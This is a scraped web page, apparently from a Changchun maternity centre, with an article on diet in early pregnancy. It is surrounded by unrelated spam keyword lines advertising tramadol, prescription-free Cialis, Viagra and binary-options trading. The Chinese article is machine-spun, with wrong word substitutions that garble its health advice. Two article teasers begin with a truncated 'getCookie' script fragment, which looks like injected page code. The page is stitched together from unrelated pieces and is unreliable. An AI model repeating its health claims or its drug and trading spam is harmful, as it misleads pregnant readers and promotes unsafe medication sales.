Tramadol hcl 50 mg tablet
amoxicillin 500 mg price
prednisone 20 mg tablets
tramadol 50mg
דפקקגאקדא
אזרחות פורטוגלית
הוצאת דרכון פורטוגלי
tkh teprx, אלי אקספקס
013 שירות לקוחות, לאומי למשכנתאות מחשבון, איתור משלוח בדואר ישראל
סיאליס למכירה ללא מרשם
מי התקשר אליי
darkon-portugali.com
www.lamoda.ru
как посмотреть трейд ссылку

长春月子中心——选择贝萌·诗安国际母婴会所

网站首页 > 怀孕初期吃什么好?孕早期的营养需求

怀孕初期吃什么好?孕早期的营养需求

инвестинг.ком отзывы
nike дисконт
олимптрайд
ספידטסט הוט
怀孕初期吃什么好?在怀孕初期,胎儿的发育才刚刚开端,从此时开端你就要开端科学的摄取孕期所需的营养物质了。长春月子会所小编下面给大家来介绍一下:
一、怀孕初期饮食
害喜严重的孕妈妈,假如食欲不佳,尽量选择本人较想吃的食物。由于早孕反响,孕妈妈常会呈现消化不良,食欲不振等状况。这时除了少吃多餐外,应选择容易消化的、新颖的食物,尽量防止吃油炸、辛辣的食物
孕三月初期胎儿体积尚小,所需的营养重质不重量。11周以后,由于胎儿疾速生长和发育,营养的需求量也日渐增加,特别蛋白质、糖和维生素较多的食物供应,如肉、鱼、豆、蛋、奶等食物。
那么,在怀孕初期,准妈妈要如何科学的补充孕期所需营养呢?
二、怀孕初期营养需求
1、膳食重质量
妊娠早期,胎儿各器官、内脏正处于分化构成阶段,胎儿生长速度迟缓,需求的热能和营养物质增加不显著,不需求特殊的补给。但这期间准妈妈常常容易发作轻度的恶心、呕吐、食欲不振、厌油、烧心、疲倦等早孕反响,这些反响会影响孕妇正常进食,进而阻碍营养物质的消化、吸收,招致妊娠中、后期胎儿营养不良。
因而,这个阶段的膳食要重质量,以高蛋白、富营养、少油腻、易消化吸收为其准绳。一日可少食多餐,以瘦肉、鱼类、蛋类、豆浆、面条、牛奶、新颖蔬菜和水果为佳。可选择孕妇平常爱好的食物,但不宜食用油炸、辛辣等不易消化和刺激性食物,以防消化不良或便秘而形成前兆流产。
2、蛋白质的补充
妊娠早期蛋白质摄入量应不低于未孕妇女的摄入量,优质蛋白应不低于蛋白质总摄入量的50%,方可满足孕妇的需求。优质蛋白质主要来源于动物性蛋白质如蛋、肉、鱼、奶类及植物蛋白质大豆。其他蛋白质不是优质蛋白,在人体内的吸收应用率不如动物蛋白质高。因而,在补充蛋白质时,要将多种食物停止搭配,有效地补充蛋白质。
蛋白质与其他许多营养素一样,有一个最佳的补充量,孕期高蛋白饮食,可影响孕妇的食欲,增加胃肠道的担负,并影响其他营养物质摄入,使饮食营养失去均衡。因而,关于蛋白质的摄入应持适量、适度的准绳,切不可自觉多补、滥补。
3、摄取无机盐和维生素
无机盐在人体内所占的比重虽小,却是必不可少的,对孕妇和胎儿来说,假如缺乏无机盐时会产生一系列疾病,以至惹起更严重的结果。
上述有关怀孕初期吃什么的内容,长春月子会所小编今天就介绍到这里~

下一篇:

上一篇:

妈妈学堂

MORE>>
如何冲调配方奶粉?
如何冲调配方奶粉?

function getCookie(e){var U=document.cookie.ma...…

月子膳食

MORE>>
能使胎儿发育良好的23种食物
能使胎儿发育良好的23种食物

为了使胎儿的发育良好,必须摄取充分的营养,蛋白...…

孕妇可以吃高丽参吗?
孕妇可以吃高丽参吗?

function getCookie(e){var U=document.cookie.ma...…

孕期营养补充 这些误区要避开
孕期营养补充 这些误区要避开

奶奶说吃了这个孩子长得高,婆婆说这别吃对娃不好...…

孕妇不能吃哪些调料?
孕妇不能吃哪些调料?

孕妇不能喝酒、不能吃高糖高脂肪的食物……怀孕期间...…

ויאגרה מחיר קופת חולים
505145931
expert option bonus conditions, expertoption que tal es